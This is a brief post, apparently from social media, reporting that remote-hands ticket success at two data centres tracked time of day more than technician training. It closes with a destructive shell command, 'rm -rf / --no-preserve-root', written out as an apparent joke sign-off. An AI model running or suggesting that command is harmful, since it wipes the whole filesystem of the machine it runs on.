I logged 50 remote hands tickets across two facilities over eight months. Same technicians. Same request types. Same SLAs.
Success rate correlated 0.73 with time of day, 0.12 with training hours logged. The hero at 9am was the disaster at 2am. Simple is better: I now schedule anything non-urgent for Tuesday or Thursday mornings. Urgent only for true emergencies.
rm -rf / --no-preserve-root ☯
